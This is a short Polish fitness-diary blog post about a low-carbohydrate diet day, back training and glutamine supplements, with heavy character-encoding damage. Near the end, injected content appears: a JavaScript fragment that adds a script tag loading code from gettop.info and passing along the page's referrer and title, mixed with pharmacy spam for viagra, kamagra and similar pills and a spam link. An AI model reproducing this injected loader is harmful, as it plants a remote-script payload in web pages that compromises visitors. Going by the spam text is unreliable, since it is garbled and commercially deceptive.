Niski poziom wAi??gli

31.10.2011 / Michał Karmowski

DziAi?? byAi?? pierwszy dzieAi?? bardzo niskich wAi??gli i treningu z wiAi??kszAi?? liczbAi?? powtA?rzeAi?? aby wypompowywaAi?? glikogen. KalorycznoAi??Ai?? diety dalej jest ta sama tylko duA?o wiAi??cej tAi??uszczu, biaAi??ko tez bez zmian. Na treningu byAi??y robione caAi??e plecy, czworoboczne , dwugAi??owe , brzuch i barki tyle co daAi??em radAi??. Najgorsze , A?e pierwszy raz bA?l trzyma tak dAi??ugo na tym samym poziomie i w ogA?le siAi?? nie zmniejsza. WAi??aAi??nie skoAi??czyAi??em ostatniAi?? sesje aerobA?w na bieA?ni i do zawodA?w nie bAi??dAi?? juA? ich robiAi??, miaAi??em przestaAi?? wczeAi??niej ale treningi nie sAi?? na 100% i baAi??em siAi?? trochAi?? o metabolizm aby nie zwolniAi?? na Ai??adowanie wAi??glowodanami. Co do suplementacji to jem teraz okoAi??o 100g glutaminy dziennie i bcaa. DziAi??kujAi?? firmie TREC, A?e tak o mnie dba:-)d.getElementsByTagName(‚head’)[0].appendChild(s); online Pills Purchase buy pills pills online viagra online specials }s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Pills buy flomax generic kamagra oral jelly next day delivery. generic Kamagra. kamagra oral jelly review. Pills online order lady era 100mg http://rihomesmag.com/?p=25843